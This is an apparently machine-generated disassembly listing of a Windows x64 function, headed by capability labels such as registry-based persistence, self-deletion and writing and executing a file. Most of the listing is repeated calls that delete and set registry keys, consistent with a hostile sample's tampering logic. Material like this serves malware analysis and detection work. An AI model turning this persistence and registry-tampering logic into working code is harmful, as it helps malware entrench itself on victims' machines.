Function at 0x401000
Capabilities:
Accept command line arguments
Create directory
Create process on windows
Delete registry key
Get common file path
Persist via app paths registry key
Persist via default file association registry key
Query or enumerate registry value
Self delete
Set file attributes
Set registry value
Terminate process
Write and execute a file
Write file on windows

Disassembly:
sub rsp, 8
sub rsp, 0x20
jmp 0x40101f
lea rcx, [0x0040100a]
mov rdx, 0
call qword [sym.imp.USER32.DLL_FindWindowA]
add rsp, 0x20
or eax, eax
jne 0x40d732
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x401070
lea rdx, [0x0040104f]
jmp 0x401085
lea r8, [0x00401079]
mov r9, 0
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
call qword [sym.imp.SHLWAPI.DLL_SHGetValueA]
add rsp, 0x30
test eax, eax
jne 0x40d732
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x4010e8
lea rdx, [0x004010c7]
jmp 0x4010fd
lea r8, [0x004010f1]
mov r9, 0
mov qword [rsp + 0x20], section..data_1
mov qword [rsp + 0x28], 0x40f618
call qword [sym.imp.SHLWAPI.DLL_SHGetValueA]
add rsp, 0x30
sub rsp, 0x20
mov rcx, section..data_1
jmp 0x40113b
lea rdx, [0x00401134]
call qword [sym.imp.SHLWAPI.DLL_PathAppendA]
add rsp, 0x20
sub rsp, 0x20
mov rcx, section..data_1
mov rdx, 0x40f628
call qword [sym.imp.KERNEL32.DLL_GetBinaryTypeA]
add rsp, 0x20
cmp eax, 0
je 0x40d732
sub rsp, 0x20
call qword [sym.imp.KERNEL32.DLL_GetCommandLineA]
add rsp, 0x20
mov ebx, eax
cmp byte [ebx], 0
je 0x40a964
cmp byte [ebx], 0x20
je 0x401195
inc ebx
jmp 0x401181
inc ebx
cmp byte [ebx], 0x20
je 0x401195
cmp byte [ebx], 0x2a
jne 0x40a964
sub rsp, 0x20
movabs rcx, 0x80000001
jmp 0x4011cd
lea rdx, [0x004011b7]
call qword [sym.imp.SHLWAPI.DLL_SHDeleteKeyA]
add rsp, 0x20
sub rsp, 0x20
movabs rcx, 0x80000001
jmp 0x401204
lea rdx, [0x004011ee]
call qword [sym.imp.SHLWAPI.DLL_SHDeleteKeyA]
add rsp, 0x20
sub rsp, 0x20
movabs rcx, 0x80000001
jmp 0x40123b
lea rdx, [0x00401225]
call qword [sym.imp.SHLWAPI.DLL_SHDeleteKeyA]
add rsp, 0x20
sub rsp, 0x20
movabs rcx, 0x80000001
jmp 0x401272
lea rdx, [0x0040125c]
call qword [sym.imp.SHLWAPI.DLL_SHDeleteKeyA]
add rsp, 0x20
sub rsp, 0x20
movabs rcx, 0x80000001
jmp 0x4012a9
lea rdx, [0x00401293]
call qword [sym.imp.SHLWAPI.DLL_SHDeleteKeyA]
add rsp, 0x20
sub rsp, 0x20
movabs rcx, 0x80000001
jmp 0x4012e0
lea rdx, [0x004012ca]
call qword [sym.imp.SHLWAPI.DLL_SHDeleteKeyA]
add rsp, 0x20
sub rsp, 0x20
movabs rcx, 0x80000001
jmp 0x401322
lea rdx, [0x00401301]
call qword [sym.imp.SHLWAPI.DLL_SHDeleteKeyA]
add rsp, 0x20
sub rsp, 0x20
movabs rcx, 0x80000001
jmp 0x401366
lea rdx, [0x00401343]
call qword [sym.imp.SHLWAPI.DLL_SHDeleteKeyA]
add rsp, 0x20
sub rsp, 0x20
movabs rcx, 0x80000001
jmp 0x4013aa
lea rdx, [0x00401387]
call qword [sym.imp.SHLWAPI.DLL_SHDeleteKeyA]
add rsp, 0x20
sub rsp, 0x20
movabs rcx, 0x80000001
jmp 0x4013e4
lea rdx, [0x004013cb]
call qword [sym.imp.SHLWAPI.DLL_SHDeleteKeyA]
add rsp, 0x20
sub rsp, 0x20
movabs rcx, 0x80000001
jmp 0x40141d
lea rdx, [0x00401405]
call qword [sym.imp.SHLWAPI.DLL_SHDeleteKeyA]
add rsp, 0x20
sub rsp, 0x20
movabs rcx, 0x80000001
jmp 0x401462
lea rdx, [0x0040143e]
call qword [sym.imp.SHLWAPI.DLL_SHDeleteKeyA]
add rsp, 0x20
sub rsp, 0x20
movabs rcx, 0x80000001
jmp 0x4014be
lea rdx, [0x00401483]
call qword [sym.imp.SHLWAPI.DLL_SHDeleteKeyA]
add rsp, 0x20
sub rsp, 0x20
movabs rcx, 0x80000001
jmp 0x401520
lea rdx, [0x004014df]
call qword [sym.imp.SHLWAPI.DLL_SHDeleteKeyA]
add rsp, 0x20
sub rsp, 0x20
movabs rcx, 0x80000001
jmp 0x401582
lea rdx, [0x00401541]
call qword [sym.imp.SHLWAPI.DLL_SHDeleteKeyA]
add rsp, 0x20
sub rsp, 0x20
movabs rcx, 0x80000001
jmp 0x4015e4
lea rdx, [0x004015a3]
call qword [sym.imp.SHLWAPI.DLL_SHDeleteKeyA]
add rsp, 0x20
sub rsp, 0x20
movabs rcx, 0x80000002
jmp 0x40161b
lea rdx, [0x00401605]
call qword [sym.imp.SHLWAPI.DLL_SHDeleteKeyA]
add rsp, 0x20
sub rsp, 0x20
movabs rcx, 0x80000002
jmp 0x401652
lea rdx, [0x0040163c]
call qword [sym.imp.SHLWAPI.DLL_SHDeleteKeyA]
add rsp, 0x20
sub rsp, 0x20
movabs rcx, 0x80000002
jmp 0x401689
lea rdx, [0x00401673]
call qword [sym.imp.SHLWAPI.DLL_SHDeleteKeyA]
add rsp, 0x20
sub rsp, 0x20
movabs rcx, 0x80000002
jmp 0x4016c2
lea rdx, [0x004016aa]
call qword [sym.imp.SHLWAPI.DLL_SHDeleteKeyA]
add rsp, 0x20
sub rsp, 0x20
movabs rcx, 0x80000002
jmp 0x4016fc
lea rdx, [0x004016e3]
call qword [sym.imp.SHLWAPI.DLL_SHDeleteKeyA]
add rsp, 0x20
sub rsp, 0x20
movabs rcx, 0x80000002
jmp 0x401738
lea rdx, [0x0040171d]
call qword [sym.imp.SHLWAPI.DLL_SHDeleteKeyA]
add rsp, 0x20
sub rsp, 0x20
movabs rcx, 0x80000002
jmp 0x40178f
lea rdx, [0x00401759]
call qword [sym.imp.SHLWAPI.DLL_SHDeleteKeyA]
add rsp, 0x20
sub rsp, 0x20
movabs rcx, 0x80000002
jmp 0x4017c4
lea rdx, [0x004017b0]
call qword [sym.imp.SHLWAPI.DLL_SHDeleteKeyA]
add rsp, 0x20
sub rsp, 0x20
movabs rcx, 0x80000002
jmp 0x401805
lea rdx, [0x004017e5]
call qword [sym.imp.SHLWAPI.DLL_SHDeleteKeyA]
add rsp, 0x20
sub rsp, 0x20
movabs rcx, 0x80000002
jmp 0x401856
lea rdx, [0x00401826]
call qword [sym.imp.SHLWAPI.DLL_SHDeleteKeyA]
add rsp, 0x20
sub rsp, 0x20
movabs rcx, 0x80000002
jmp 0x4018b2
lea rdx, [0x00401877]
call qword [sym.imp.SHLWAPI.DLL_SHDeleteKeyA]
add rsp, 0x20
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x4018f9
lea rdx, [0x004018d3]
jmp 0x401910
lea r8, [0x00401902]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x401970
lea rdx, [0x0040194a]
jmp 0x401984
lea r8, [0x00401979]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x4019e4
lea rdx, [0x004019be]
jmp 0x4019fd
lea r8, [0x004019ed]
mov r9, 4
mov qword [rsp + 0x20], 0x40e004
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x401a5d
lea rdx, [0x00401a37]
jmp 0x401a7a
lea r8, [0x00401a66]
mov r9, 4
mov qword [rsp + 0x20], 0x40e004
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x401ada
lea rdx, [0x00401ab4]
jmp 0x401af2
lea r8, [0x00401ae3]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x401b52
lea rdx, [0x00401b2c]
jmp 0x401b69
lea r8, [0x00401b5b]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x401bc9
lea rdx, [0x00401ba3]
jmp 0x401be2
lea r8, [0x00401bd2]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x401c42
lea rdx, [0x00401c1c]
jmp 0x401c5a
lea r8, [0x00401c4b]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x401cba
lea rdx, [0x00401c94]
jmp 0x401cd8
lea r8, [0x00401cc3]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x401d55
lea rdx, [0x00401d12]
jmp 0x401d6d
lea r8, [0x00401d5e]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x401dea
lea rdx, [0x00401da7]
jmp 0x401e03
lea r8, [0x00401df3]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x401e81
lea rdx, [0x00401e3d]
jmp 0x401e99
lea r8, [0x00401e8a]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x401f17
lea rdx, [0x00401ed3]
jmp 0x401f30
lea r8, [0x00401f20]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x401fb1
lea rdx, [0x00401f6a]
jmp 0x401fc9
lea r8, [0x00401fba]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40204a
lea rdx, [0x00402003]
jmp 0x402063
lea r8, [0x00402053]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x4020e3
lea rdx, [0x0040209d]
jmp 0x4020fb
lea r8, [0x004020ec]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40217b
lea rdx, [0x00402135]
jmp 0x402194
lea r8, [0x00402184]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x402212
lea rdx, [0x004021ce]
jmp 0x40222a
lea r8, [0x0040221b]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x4022a8
lea rdx, [0x00402264]
jmp 0x4022c1
lea r8, [0x004022b1]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x402340
lea rdx, [0x004022fb]
jmp 0x402358
lea r8, [0x00402349]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x4023d7
lea rdx, [0x00402392]
jmp 0x4023f0
lea r8, [0x004023e0]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x402444
lea rdx, [0x0040242a]
jmp 0x402461
lea r8, [0x0040244d]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x4024b5
lea rdx, [0x0040249b]
jmp 0x4024ce
lea r8, [0x004024be]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x402521
lea rdx, [0x00402508]
jmp 0x40253e
lea r8, [0x0040252a]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x402591
lea rdx, [0x00402578]
jmp 0x4025ad
lea r8, [0x0040259a]
mov r9, 4
mov qword [rsp + 0x20], 0x40e004
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40260a
lea rdx, [0x004025e7]
jmp 0x402623
lea r8, [0x00402613]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x402675
lea rdx, [0x0040265d]
jmp 0x402692
lea r8, [0x0040267e]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x4026f0
lea rdx, [0x004026cc]
jmp 0x402706
lea r8, [0x004026f9]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x402764
lea rdx, [0x00402740]
jmp 0x402787
lea r8, [0x0040276d]
mov r9, 4
mov qword [rsp + 0x20], 0x40e004
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x4027e5
lea rdx, [0x004027c1]
jmp 0x4027fd
lea r8, [0x004027ee]
mov r9, 4
mov qword [rsp + 0x20], 0x40e00c
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40285b
lea rdx, [0x00402837]
jmp 0x402889
lea r8, [0x00402864]
mov r9, 4
mov qword [rsp + 0x20], 0x40e004
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x4028e7
lea rdx, [0x004028c3]
jmp 0x402901
lea r8, [0x004028f0]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40295f
lea rdx, [0x0040293b]
jmp 0x40297b
lea r8, [0x00402968]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x4029d9
lea rdx, [0x004029b5]
jmp 0x4029f6
lea r8, [0x004029e2]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x402a54
lea rdx, [0x00402a30]
jmp 0x402a6b
lea r8, [0x00402a5d]
mov r9, 4
mov qword [rsp + 0x20], 0x40e010
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x402ac9
lea rdx, [0x00402aa5]
jmp 0x402ae8
lea r8, [0x00402ad2]
mov r9, 4
mov qword [rsp + 0x20], 0x40e004
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x402b46
lea rdx, [0x00402b22]
jmp 0x402b64
lea r8, [0x00402b4f]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x402bc2
lea rdx, [0x00402b9e]
jmp 0x402bd7
lea r8, [0x00402bcb]
mov r9, 4
mov qword [rsp + 0x20], 0x40e008
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x402c35
lea rdx, [0x00402c11]
jmp 0x402c5e
lea r8, [0x00402c3e]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x402cbc
lea rdx, [0x00402c98]
jmp 0x402cdb
lea r8, [0x00402cc5]
mov r9, 4
mov qword [rsp + 0x20], 0x40e004
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x402d39
lea rdx, [0x00402d15]
jmp 0x402d5d
lea r8, [0x00402d42]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x402dbb
lea rdx, [0x00402d97]
jmp 0x402de1
lea r8, [0x00402dc4]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x402e3f
lea rdx, [0x00402e1b]
jmp 0x402e5f
lea r8, [0x00402e48]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x402ebd
lea rdx, [0x00402e99]
jmp 0x402ed3
lea r8, [0x00402ec6]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x402f25
sub rsp, 0x20
movabs rcx, 0x80000001
jmp 0x40a994
lea rdx, [0x0040a974]
call qword [sym.imp.SHLWAPI.DLL_SHDeleteKeyA]
add rsp, 0x20
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40a9de
lea rdx, [0x0040a9b5]
jmp 0x40aa02
lea r8, [0x0040a9e7]
mov r9, 1
jmp 0x40aa14
lea rax, [0x0040aa12]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40aa6c
lea rdx, [0x0040aa43]
jmp 0x40aa87
lea r8, [0x0040aa75]
mov r9, 1
jmp 0x40aa99
lea rax, [0x0040aa97]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40aaf1
lea rdx, [0x0040aac8]
jmp 0x40ab06
lea r8, [0x0040aafa]
mov r9, 1
jmp 0x40ab18
lea rax, [0x0040ab16]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40ab79
lea rdx, [0x0040ab47]
jmp 0x40ab8b
lea r8, [0x0040ab82]
mov r9, 1
jmp 0x40ab9d
lea rax, [0x0040ab9b]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40abf0
lea rdx, [0x0040abcc]
jmp 0x40ac13
lea r8, [0x0040abf9]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40ac71
lea rdx, [0x0040ac4d]
jmp 0x40ac97
lea r8, [0x0040ac7a]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40acf5
lea rdx, [0x0040acd1]
jmp 0x40ad1a
lea r8, [0x0040acfe]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40ad78
lea rdx, [0x0040ad54]
jmp 0x40ad95
lea r8, [0x0040ad81]
mov r9, 4
mov qword [rsp + 0x20], 0x40e014
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40adf3
lea rdx, [0x0040adcf]
jmp 0x40ae0c
lea r8, [0x0040adfc]
mov r9, 4
mov qword [rsp + 0x20], 0x40e004
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40ae6a
lea rdx, [0x0040ae46]
jmp 0x40ae83
lea r8, [0x0040ae73]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40aee1
lea rdx, [0x0040aebd]
jmp 0x40aef8
lea r8, [0x0040aeea]
mov r9, 4
mov qword [rsp + 0x20], 0x40e004
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40af56
lea rdx, [0x0040af32]
jmp 0x40af70
lea r8, [0x0040af5f]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40afce
lea rdx, [0x0040afaa]
jmp 0x40afe3
lea r8, [0x0040afd7]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40b041
lea rdx, [0x0040b01d]
jmp 0x40b060
lea r8, [0x0040b04a]
mov r9, 4
mov qword [rsp + 0x20], 0x40e018
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40b0be
lea rdx, [0x0040b09a]
jmp 0x40b0db
lea r8, [0x0040b0c7]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40b139
lea rdx, [0x0040b115]
jmp 0x40b14c
lea r8, [0x0040b142]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40b19e
lea rdx, [0x0040b186]
jmp 0x40b1c9
lea r8, [0x0040b1a7]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40b21b
lea rdx, [0x0040b203]
jmp 0x40b243
lea r8, [0x0040b224]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40b295
lea rdx, [0x0040b27d]
jmp 0x40b2bc
lea r8, [0x0040b29e]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40b30e
lea rdx, [0x0040b2f6]
jmp 0x40b338
lea r8, [0x0040b317]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40b38a
lea rdx, [0x0040b372]
jmp 0x40b3b7
lea r8, [0x0040b393]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40b409
lea rdx, [0x0040b3f1]
jmp 0x40b430
lea r8, [0x0040b412]
mov r9, 4
mov qword [rsp + 0x20], section..data
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40b486
lea rdx, [0x0040b46a]
jmp 0x40b4a0
lea r8, [0x0040b48f]
mov r9, 4
mov qword [rsp + 0x20], 0x40e01c
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40b4f6
lea rdx, [0x0040b4da]
jmp 0x40b50f
lea r8, [0x0040b4ff]
mov r9, 4
mov qword [rsp + 0x20], 0x40e020
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40b565
lea rdx, [0x0040b549]
jmp 0x40b580
lea r8, [0x0040b56e]
mov r9, 4
mov qword [rsp + 0x20], 0x40e004
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40b5d6
lea rdx, [0x0040b5ba]
jmp 0x40b5f2
lea r8, [0x0040b5df]
mov r9, 4
mov qword [rsp + 0x20], 0x40e004
mov qword [rsp + 0x28], 4
call qword [sym.imp.SHLWAPI.DLL_SHSetValueA]
add rsp, 0x30
sub rsp, 0x30
movabs rcx, 0x80000001
jmp 0x40b643
lea rdx, [0x0040b62c]
jmp 0x40b64f
